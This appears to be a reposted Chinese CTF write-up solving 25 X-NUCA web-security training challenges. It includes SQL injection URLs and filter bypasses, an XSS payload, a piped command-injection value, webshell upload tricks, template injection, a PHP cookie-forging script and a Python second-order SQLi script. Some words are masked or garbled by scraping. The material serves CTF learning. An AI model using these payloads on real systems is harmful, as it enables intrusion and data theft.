1. 程式人生 > 實用技巧 >X-NUCA全國高校網安聯賽7月訓練題解

X-NUCA全國高校網安聯賽7月訓練題解

題目1:

很簡單,看原始碼即可得到flag。

AHIDDENFLAG:FLAG{[email protected]}


題目2:

post 提交q1=2016&q2=lol&q3=22&success=true即可

flag{W3ll_d0n3}


題目3:

wKiom1ecYRKBFBs6AAAhMIAtlaE833.png\"

這裡base64decode是Normal 改成Admin的base64編碼提交

flag{C00ki3_n0m_n0m_n0m}


題目4:

show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;

if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5OR!is_array($a["bar2"][0]))die("nope");
$pos=array_search("nudt",$a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"]as$key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
[email protected]$_GET['cat'];
[email protected]$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d)&&$c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d),"htctf2016")?$v3=1:NULL;
}
}
if($v1&&$v2&&$v3){
include"flag.php";
echo$flag;
}
?>

可以看出foo是一個jason物件,並且要求裡邊元素第一個比2016大而且不能是數字, 這裡用到了PHP弱型別的一個特性,當一個×××和一個其他型別行比較的時候,會先把其他型別intval再比。 bar1為2017a即可.bar2是一個數組,長度是5,裡邊第一個元素是陣列


array和string進行strcmp比較的時候會返回一個null,%00可以截斷eregi。cat[0]=00code2016&cat[1][]=1111&dog=%00

所以最後提交foo={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00htctf2016&cat[1][]=1111&dog=%00

flag{php_i5_n0t_b4d}


題目5:

隨便點選另外一個人的密碼,得到:

hi,my name is bob ,my password is flag{skjdflksajdfjaklsjfdlkjsafjk}.

沒卵用,看url:

http://218.76.35.75:20115/index.php?page=b74d94c647115ba40b3acd8e12b4e122

b74d94c647115ba40b3acd8e12b4e122 md5解密得到: bob317

所以猜測應該是名字加上三個數字,burp抓包:

wKioL1ecZongqNSrAACzSJJLf2k336.png



wKioL1ecZ0fTh_mNAAE48TIZH30828.png



wKiom1ecZ3XA2EfaAAEkBPHoqqA585.png




題目6:

題目中說:而且題中給了提示,http頭注入,要麼是xff或者refer或者user-Agent

Wecome our official sites:heetian.com/heetian.php

Waist long hair, teenager marry me these days.

wKiom1eciZSh0pEKAACZitx5oI0068.png

看來是referrer頭注入,看了別人的wp,sqlmap直接跑:

Sqlmap預設不測試 http頭的一些注入。。。

--level 等於或者大於3的時候,就會測試Referer了。。。

直接加個引數好了,看能不能跑出來

wKiom1ecihqTDSbeAAFIF9mCKWo198.png


看來還真可以 ,繼續測試,加上 --dbs 看都有那些資料庫:


wKiom1ecimazy2gNAACRrGd1OhE859.png


不出意外的話flag應該就在ctf裡邊,

果然: flag: Y0ugetT82f00000laev



題目7:

上傳php檔案,這也不多說額了,就是簡單的%00截斷



題目8:

就是執行js,然後flag的url就出來了,結果在頁面的cookie裡邊。


題目9:

parse_str($_GET['heetian']);

主要是這個函式,提交heetian=he=abcd ,flag:

C00d1uckf0rY0uuu


題目10:

一個XSS,輸入#' οnerrοr=alert(document.domain)

<imgsrc='#'οnerrοr=alert(document.domain)/>flag:D0Gum6Ntd0M11n</form>



題目11:

由提示得出訪問http://218.76.35.75:20126/index.php?page=/flag

flag不在這裡<!--flag:62a72cb2f3d5e7fc0284da9f21e66c9f.php--></body>


題目12:

和前邊一道題很像,burp爆破管理員的id,改下cookie就行



題目13:

sql注入

http://218.76.35.75:20101/?name=%27%20union%20select%201,2,3%20--%20-

不過貌似過濾了information_schama.tables什麼的,直接猜:flag表flag欄位

http://218.76.35.75:20101/?name=%27%20union%20select%201,2,flag%20%20from%20flag--%20-

flag= thisisforunionsqlinjection


題目14:

圖片上傳php一句話***

copy 1.png/b+1.php/a 2.png


題目15:

127.0.0.1 | ls

linux下的連線符有多個。如&&,||,;,| 我們需要都測試後面命令為簡單的ls

flag:dirpwnitdoyouknow


題目16:

1、遊戲是個坑,只有玩到1000000分時,會在cookie寫入("urlkey","webqwer"[1]+"100.js",864E5),所以e100.js是提示檔案

2、正確思路是分析遊戲tetris.js,這個js混淆過,所以先美化http://tool.lu/js/,分析得出e100.js

3、e100.js是一段JSFuck編碼後的JS指令碼

4、本地執行這段js指令碼,彈出flag{oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk}

wKiom1eclaCAoeOlAABHg2BzdMw425.png

這個網站可以 http://tool.lu/js/




題目17:

更改xff還有referrer頭資訊,md5解密得到密碼cafe



題目18:

主要考察:

KindEditor上傳解析漏洞、列目錄、內容漏洞

1.1.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=/ 爆出flag路徑
2. //path=/,爆出絕對路徑D:AppServwww67cmskindeditorphpfile_manager_json.php
3. 2.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
4. //根據爆出的絕對路徑,修改path的值為AppServ/www/67cms/
5. 這時將遍歷d:/AppServ/www/67cms/下的所有檔案和檔名


題目19:

用掃目錄的工具,發現存在.git 資料夾。

https://github.com/kost/dvcs-ripper工具,獲得題目的原始碼。

查詢原始碼後,發現沒有flag的位置,使用git log 發現。有2次commit記錄。

這個時候,使用git 檔案比對,發現hack.php的第一次提交裡,包含flag。



ps: 以後的各題都是轉載別人的wp


題目20:


檢視頁面原始碼,發現,flask pytho test 猜測考察.flask python相關的東西,前陣子比較熱門的模版注入。

但是不知道原始碼。假設python設定不當,可能為debug=true的形式啟動應用。

可以嘗試提交錯誤的字串,導致伺服器返回報錯

提交data=xx{{} 發現返回錯誤頁面。

錯誤頁面下。有app.py的原始碼。

news-2016072906%2802%29.jpg

發現敏感字元,猜測模版注入,只需要執行

get_user_file(‘473bfa63bfeb1e673d6d151a799af923.py’)可以讀取該檔案

構造如下提交,即可。

http://218.76.35.75:20102/?data=sleep{{get_user_file(%27473bfa63bfeb1e673d6d151a799af923.py%27)}}

上述語法的構造為 Python的模版執行中的語法規則。




題目21:


提示為自加密題


訪問頁面後,非常明顯的p_w_picpath=heihei.jpg 可猜測為檔案讀取,返回base64編碼的檔案內容,


我們構造http://218.76.35.75:20106/index.php?p_w_picpath=index.php並解碼。得到index.php的原始碼內容,如下所示


news-2016072907%2802%29.jpg


原始碼裡有config關鍵詞,並被替換了_ 。


這時候,都沒出現自加密的地方。檢視cookie 也沒有,可能存在其他技巧點。


提出掃描器,發現存在 .idea資料夾。.idea資料夾是phpstorm工具編寫Php程式碼時生成的資料夾。訪問.idea/workspace.xml 發現如下


news-2016072907%2803%29.jpg


利用index.php?view=function_crypt.php 讀取該檔案。並解碼,得到加密函式原始碼。


news-2016072907%2804%29.jpg


我們為了獲取flag 。需要cookie 為正確的加密後的system使用者的cookie值.可以在訪問function_crypt.php檔案後,可以得到guest使用者的cookie值。下面就是解密函式的程式碼了提供如下解密函式。


最終寫出poc


function ss($txt,$m){
for($i=0;$i<strlen($m);$i++){
$tmp .= chr(ord($m[$i])+10);
}
$m=$tmp;
$tmp='';
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
for($i=0;$i<strlen($txt);$i++){
$key .= $txt[$i] ^ $m[$i];
}
$s='0123456789abcdef';
$txt1='system';
for($i=0;$i<strlen($txt1);$i++){
$tmp .= chr(ord($txt1[$i])+10);
}
$txt1=$tmp;
$tmp='';
for($i=0;$i<16;$i++){
$tmp = $key.$s[$i];
for($ii=0;$ii<strlen($txt1);$ii++){
$txt2 .= $txt1[$ii] ^ $tmp[$ii];
}
file_put_contents('1.txt',base64_encode($rnd.$txt2)."\r\n",FILE_APPEND);
$txt2='';
}
}

ss('eldUVRdOWRhI','guest'); // 設定獲取的guest使用者的cookie值。


這個生成了16個加密的密文,用burp載入後,跑一遍,即可得到flag 。


題目22:

提示help.php,並且index.php 頁面有webshellpass ,猜測是一個後門需要正確的密碼登入。 同時,提示為Php是一個偉大的語言,可能考察php的特性。並且有頁面中的提示


news-2016072908%2802%29.jpg


這裡就肯定不是爆破的題目了。需要考腦洞的題目了,還有一點點的知識涉獵是否廣泛的情況了。


news-2016072908%2803%29.jpg


這時候,都沒出現自加密的地方。檢視cookie 也沒有,可能存在其他技巧點。


news-2016072907%2804%29.jpg


這個題目的緣由就是從這裡來的。Php的全域性函式,導致繞過驗證邏輯。


當提交 shell[pass]=asasdfasdfasdf&shell[login]=false時,發現頁面還是報errorpassword 。


猜測有session 。大概邏輯。可能如下:


If($_SESSION[??]){{
Echo $flag;
}else {
If($password=$pass){
$_SESSION[???]=$pass;
Echo $lag;
}
}

Webshell一般都比較簡單,可能就是當上述的???設定admin 或者login


加上上述有說php的全域性變數,我們可以提交如下


shell[pass]=asdfasdf&shell[_SESSION][login]=asd&shell[login]=false


即可得到flag.



題目23:

發現存在robots.txt 檔案


news-2016072909%2802%29.jpg



訪問該地址。得到upload.zip

Upload.zip為index.php


檢視Index.php後。


news-2016072909%2803%29.jpg


發現對大多數的字元進行了過濾。該過濾方式為黑名單判斷,我們只需要找到程式中,為過濾完全的字元,進行payload編寫即可。


查詢wooyun或者其他地方的資料庫,可以知道.%0a 同樣可以用來做空格的代替。


那麼我們只需要構造如下引數提交


username=admind'%a0union%a0select%a0'4124bc0a9335c27f086f24ba207a4912'%a0from%a0admin%a0where%a0'1'='1&password=aa

即可得到flag






題目24:


1.檔案包含(需要開一下腦洞,猜一猜檔名)


根據提示,可以得到一個目錄:


http://218.76.35.75:20116/flagishere/

2.訪問這個目錄,是一個登入介面,這道題目考的是注入,只不過考點是sql注入的繞過。後端程式碼中檢測了並且攔截了各種sql的關鍵字。


但是,可以使用“||”來代替關鍵詞 OR


使用者名稱和密碼輸入admin'||'1'='1即可繞過檢測登入,獲得flag





題目25:

注:apache、mysql


1、.index.php.swp原始碼洩露


2、注入點id是被is_numeric過濾後,插入到vote表裡的,可以用十六進位制或者二進位制繞過is_numeric,把注入查詢語句插入到vote表裡,然後又從vote表裡取出,形成二次注入


3、猜解t_flag表,使用GROUP_CONCAT(flag)取flag


解題程式碼:


#!/usr/bin/env python

import requests

import binascii

import sys

def hack(inject):

#print inject;

vul={'id':inject,'vote':3,'submit':1}

print vul

req=requests.post('http://218.76.35.74:65080/index.php',data=vul)

print req.content

if __name__=="__main__":

s = '-1 union all (SELECT GROUP_CONCAT(flag) from t_flag)'

hack("0x" + binascii.hexlify(s))






轉載於:https://blog.51cto.com/aurorasec/1832173